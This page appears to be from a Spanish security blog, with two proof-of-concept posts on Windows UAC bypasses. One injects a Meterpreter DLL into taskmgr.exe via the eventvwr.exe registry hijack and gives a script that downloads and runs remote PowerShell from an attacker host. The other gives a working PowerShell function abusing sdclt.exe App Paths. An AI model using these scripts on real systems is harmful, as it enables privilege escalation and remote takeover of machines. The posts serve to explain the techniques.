Páginas

Mostrando entradas con la etiqueta Fileless. Mostrar todas las entradas
Mostrando entradas con la etiqueta Fileless. Mostrar todas las entradas

14 mayo, 2020

Bypass UAC usando DLL injection en taskmgr.exe aprovechando un fileless de eventvwr.exe (Vídeo PoC)

En un artículo anterior hablara de un bypass fileless en el binario sdclt.exe, también comentara la posibilidad de realizar este método al binario eventvwr.exe. En esta ocasión mostraré como realizar un bypass de UAC usando un DLL Injection aprovechando un método tipo fileless.

Bypass UAC tipo DLL Hijacking

Existen varios tipos de técnicas DLL Hijacking (sideloading, proxying, phantom), la finalidad es conseguir una escalda de privilegios o persistencia en un sistema. Consiste en hacer un "secuestro" de una DLL por la suplantación de otra DLL que ejecute un código arbitrario que le interese a un atacante. 

Cuando se invoca un proceso binario, este busca en los path por defecto configurados en el sistema en un determinado orden de consultas, si la DLL no es encontrada seguirá buscando en la siguiente ruta hasta encontrar la que necesita. Será en ese momento cuando un atacante se anticipe suplantando la DLL original, que no es encontrada en los paths habituales, por la DLL maliciosa. Si el binario se ejecuta en un contexto de integridad alto se consigue el mismo privilegio para esa DLL.

Es la misma idea que las técnicas fileless, teniendo en cuenta el atributo autoElevate a true en el manifest del binario y teniendo una política por defecto de UAC en Windows. 

DLL hijacking requiere escritura en disco por lo que no es tan silencioso como las técnicas fileless, pudiendo no pasar desapercibido por la detección de antivirus.

Como dije hay varios tipos de técnicas DLL hijacking, entre todas ellas está presente la inyección de una DLL, dependerá del contexto en el que se usen y la forma de aplicarlas. Una diferenciación podría ser algo como: 
  • DLL Hijacking: "Suplantación" -secuestro- de una carga DLL existente en el proceso de ejecución de un binario.
  • DLL Injection: Fuerza la inyección de una nueva DLL en el proceso de un binario previamente en ejecución.

Aprovechando un bypass UAC fileless para usar DLL injection en binarios que no son vulnerables a fileless

En el siguiente escenario no se realiza un DLL Hijacking, sino que se fuerza la inyección de una DLL maliciosa en un proceso binario existente.

Trataré de explicarlo brevemente. La intención es llevar a cabo una explotación local bypassuac sin ningún tipo de interacción por parte del usuario en la máquina comprometida aprovechando la debilidad fileless de casos como eventvwr.exe a otros binarios del sistema que tengan en su manifiesto el atributo AutoElevate a True pero que de forma simple no tienen un bypass tipo fileless, como es el caso de taskmgr.exe. Al ser un binario que se ejecuta en un contexto de integridad alto, se inyectará una DLL maliciosa que contendrá un payload con un Meterpreter estableciendo así una sesión privilegiada en la que podemos impersonar al usuario consiguiendo privilegios de NT AUTHORITY\SYSTEM.

Resumen de pasos del proceso:
  1. Para obtener la sesión inicial de conexión a la máquina remota, se crea con msfvenom un binario que tendrá como payload un Meterpreter Windows 10 x64. Esto nos devolverá una sesión en contexto de integridad medio por lo que no podemos impersonar al usuario con getsystem y elevarnos a SYSTEM.
  2. ¿Por qué el binario taskmgr.exe?. Comprobando el manifiesto del binario el atributo autoElevate está a true. Pero no existe bypass fileless para taskmgr.exe, sin embargo si para eventvwr.exe.
  3. Desde la sesión Meterpreter cargamos los módulo Powershell y desde powershell_run se ejecuta el proceso del taskmgr.exe en modo oculto (-WindowStyle Hidden).
  4. Se consulta el PID del proceso taskmgr.exe y se modifica en el script de la función Invoke-DllInjection alojada en un servidor web apache2 de la máquina Kali, este será el script que se ejecutará cuando se invoque el binario eventvwr.exe.
  5. Desde powershell_import importamos el un script "eventvwr-reg.ps1" que creará la estructura de ramas del registro necesario para provocar el bypass fileless de eventvwr.exe, en su valor Default tendrá como dato un IEX (Invoke-Expression) con la creación de un nuevo objeto tipo WebClient que descargará en memoria la función Invoke-DllInjeciton de PowerSploit en una línea final del script se invoca esta función con el PID del proceso de taskmgr.exe que previamente hardcodeamos.
Script eventvwr-reg.ps1
$path = "HKCU:\Software\Classes\mscfile\shell\open\command"
$execute = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c `"IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/codes/invoke-dllinjection.txt')`""
New-Item -Path $path -Force
New-ItemProperty -Path $path -Name '(Default)' -PropertyType String -Value $execute -Force | Out-Null
  • 6. Desde Meterpreter con el comando Upload se envía la DLL que nos interesa a la máquina remota (en escritorio simplemente para que sea visible en momento de mostrar esta demo). Esta DLL contiene un shellcode de Meterpreter.
  • 7. Siguiendo en la sesión 1, desde powershell_shell manualmente se inicia el proceso del visor de eventos, ejecutando así el eventvwr.exe que también ejecutará el IEX y descargará la función en memoria con la instrucción del PID asignado del proceso taskmgr.exe ejecutado anteriormente de forma oculta.
  • 8. Finalmente se establecerá una nueva sesión Meterpreter pero esta vez la sesión establecida en el contexto de integridad alto del proceso de taskmgr.exe, como este tenía un autoElevate a true, podremos ahora impersonar al usuario en la segunda sesión Meterpreter y conseguir la escalada de privilegios a SYSTEM.

Vídeo demo - PoC

En el siguiente vídeo se muestran los pasos anteriores en detalle, llegando a entender mejor el proceso.



Saludos!

30 abril, 2020

Bypass UAC Fileless usando AppPaths sdclt.exe

La idea de los bypass de UAC (User Account Control) tipo fileless es detectar binarios de Windows firmados por Microsoft y que tienen el atributo autoElevate a true de su manifest. Con una política por defecto de UAC en Windows, estos binarios se ejecutan en un contexto de integridad alto, interactuando con el registro no encuentran las claves en la rama HKCU. 

Cuando en la consulta se obtiene un resultado NAME NOT FOUND y esta se hace antes de que se ejecute el propio binario, se podría escribir en esa rama HKCU en la que si tendremos permisos haciendo referencia a la invocación de otro binario como por ejemplo un cmd.exe. Esto provocará que este cmd.exe se ejecute antes y de forma privilegiada logrando así el bypass del UAC. 

Para comprobar el manifest de un binario podemos usar la herramienta de sigcheck de Sysinternals con su parámetro -m seguido del binario que se le indique.

Figura 1: Comprobar atributo autoElevate en el manifest de un binario con sigcheck.

Existen multitud de binarios con el atributo autoElevate a true y que usan consultas en el registro para poder ejecutarse. La primera técnica fue descubierta Enigma0x3 con el binario eventvwr.exe (visor de eventos de Windows) publicada en 2016. El mismo autor en 2017 publicó el mismo dos bypass fileless nuevos que afectan a los binarios sdclt.exe (panel de control de copias de seguridad y restauración) y fodhelper.exe (instalación de características avanzadas).

Como ejemplo este artículo se enfoca al bypass UAC fileless que afecta al binario sdclt.exe. Enigma0x3 ha subido a su repositorio un script en Powershell para aprovechar la explotación de esta vulnerabilidad.

Con procmon de Sysinternals podemos monitorear la ejecución de procesos en el sistema. Esto nos permite analizar el seguimiento de ejecución de un binario que filtremos y enfocarnos en un tipo de operación que realiza en el registro.

En el caso de sdclt.exe vemos que realiza consultas en la existencia de claves del registro en la rama HKCU intentando encontrar un binario control.exe en el path:
HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe
Como no lo encuentra se obtiene un valor NAME NOT FOUND y continua su ejecución comprobando en más ramas hasta invocar al control.exe que como parámetro abrirá al sdclt.exe. Esto significa que si creamos esa rama y en su valor 'Default' agregamos la ejecución de una cmd.exe podremos invocarla de forma privilegiada ya que como se ve en procmon esta consulta al registro se realiza en un contexto de integridad alto.

Figura 2: Rama del registro NAME NOT FOUND en la ejecución del binario sdclt.exe

Sabiendo esto podemos crear la estructura de ramas adecuada e invocar en la valor por defecto una cmd.exe. Esta se ejecutará el mismo contexto es decir, de forma privilegiada. Dejo un pequeño script que ejecuta una función para poder crear la estructura de ramas de forma automática. Pasando como parámetro -Payload el ruta absoluta "C:\Windows\System32\cmd.exe". 
function AppPathSdcltBypass {
Param (
    [Parameter(Mandatory)]
    $Payload
)
$path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
if (-not (Test-Path $path)) {
    New-Item -Path $path -Force
    New-ItemProperty -Path $path -Name '(Default)' -PropertyType String -Value $Payload -Force | Out-Null
}
else {
    Write-Host "La ruta ya existe"
    break
}
Start-Process "C:\Windows\system32\sdclt.exe"
}

AppPathSdcltBypass -Payload "C:\Windows\System32\cmd.exe"
Cuando se inicie la cmd podemos comprobar con whoami /groups que efectivamente se ejecuta de forma privilegiada.

Figura 3: Comprobar el contexto de integridad cmd.exe (whoami /groups).

Un detalle a tener en cuenta, a diferencia de otros bypass de UAC como eventvwr.exe, este fileless no permite la entrada de parámetros tipo "cmd.exe /c <intrucciones>", limitando y dificultando su aprovechamiento para una ejecución de ordenes de forma remota.

En la siguiente captura se puede ver la prueba de concepto de la ejecución y como se realiza este bypass de UAC fileless de sdclt.exe. Por defecto y aunque el usuario pertenezca al grupo administradores sino ejecutó como administrador una cmd (botón derecho "ejecutar como administrador") no podría escribir en C:\.

Figura 4: PoC - Bypass UAC Fileless sdclt.exe.

Saludos!

Entradas Populares